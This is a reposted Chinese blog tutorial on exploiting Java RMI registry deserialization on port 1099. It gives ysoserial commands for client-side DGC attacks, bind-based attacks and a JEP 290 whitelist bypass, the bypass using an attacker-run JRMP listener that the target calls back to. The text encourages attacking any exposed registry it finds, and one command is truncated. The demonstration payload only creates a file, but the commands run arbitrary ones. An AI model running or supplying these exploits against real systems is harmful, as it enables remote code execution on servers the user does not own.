栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

java rmi register反序列化攻击

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

java rmi register反序列化攻击

文章目录
  • 1. 前言
  • 2. 利用
    • 2.1 客户端攻击注册中心
    • 2.2 服务端攻击注册中心
    • 2.3 绕过白名单限制
  • 参考文章

1. 前言

被攻击的是 rmi register服务端,一般在1099端口。如果遇见了暴露的1099端口可以尝试攻击一下。

2. 利用

报错不用管,命令会正常执行
报错不用管,命令会正常执行


2.1 客户端攻击注册中心

这是一种客户端攻击服务中心的方法,原理是RMI框架采用DGC(Distributed Garbage Collection)分布式垃圾收集机制来管理远程对象的生命周期,可以通过与DGC通信的方式发送恶意payload让注册中心反序列化。

条件jdk<=jdk8u111

java -cp ysoserial.jar ysoserial.exploit.JRMPClient 192.168.171.139 1099 CommonsCollections6 "touch 
2.2 服务端攻击注册中心

服务端需要将自己想注册的类绑定到注册中心上,可以直接发送反序列化数据给注册中心,进而可以造成反序列化漏洞。

#使用bind的方式绑定恶意payload进行攻击,反序列化的直接执行链命令。
条件jdk<=jdk8u111

java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit your-ip 1099 CommonsCollections6 "touch /tmp/123"  
2.3 绕过白名单限制

这种限制也叫做jep290,JDK分别为RMI注册表和RMI分布式垃圾收集器提供了相应的内置过滤器。这两个过滤器都配置为白名单,即只允许反序列化特定类。

jdk8u232_b09版本对反序列化的类做了白名单限制:

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections6 "touch /tmp/123"
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit2 192.168.171.139 1099 192.168.171.1 12345

条件jdk<=jdk8u232_b09

需要特殊版本的ysoserial,具体参考下面的文章:

https://github.com/JoyChou93/java-sec-code/wiki/Java-RMI
参考文章

https://github.com/JoyChou93/java-sec-code/wiki/Java-RMI
https://blog.csdn.net/qsort_/article/details/104874111
http://www.codersec.net/2018/09/%E4%B8%80%E6%AC%A1%E6%94%BB%E5%87%BB%E5%86%85%E7%BD%91rmi%E6%9C%8D%E5%8A%A1%E7%9A%84%E6%B7%B1%E6%80%9D/
https://paper.seebug.org/1194/#_7

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/666496.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号